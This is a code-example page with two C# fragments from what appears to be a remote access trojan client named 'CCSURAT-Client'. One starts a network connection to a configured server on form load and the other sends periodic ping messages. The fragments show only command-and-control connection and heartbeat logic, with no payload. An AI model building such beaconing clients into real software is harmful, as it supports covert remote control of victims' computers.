Пример #1
0
 private void Form1_Load(object sender, EventArgs e)
 {
     if (install && !SystemUtils.FirstExecution())
     {
         connection = new NetworkManager(this, serverIP, serverPort);
         Thread networkThread = new Thread(new ThreadStart(connection.Start));
         networkThread.SetApartmentState(ApartmentState.STA);
         networkThread.Start();
         this.Text = "CCSURAT-Client v" + Application.ProductVersion;
     }
     else
     {
         Application.Exit();
     }
 }
Пример #2
0
 public static void Ping(object source, ElapsedEventArgs e, NetworkManager n)
 {
     n.Write("[[PING]][[/PING]]");
 }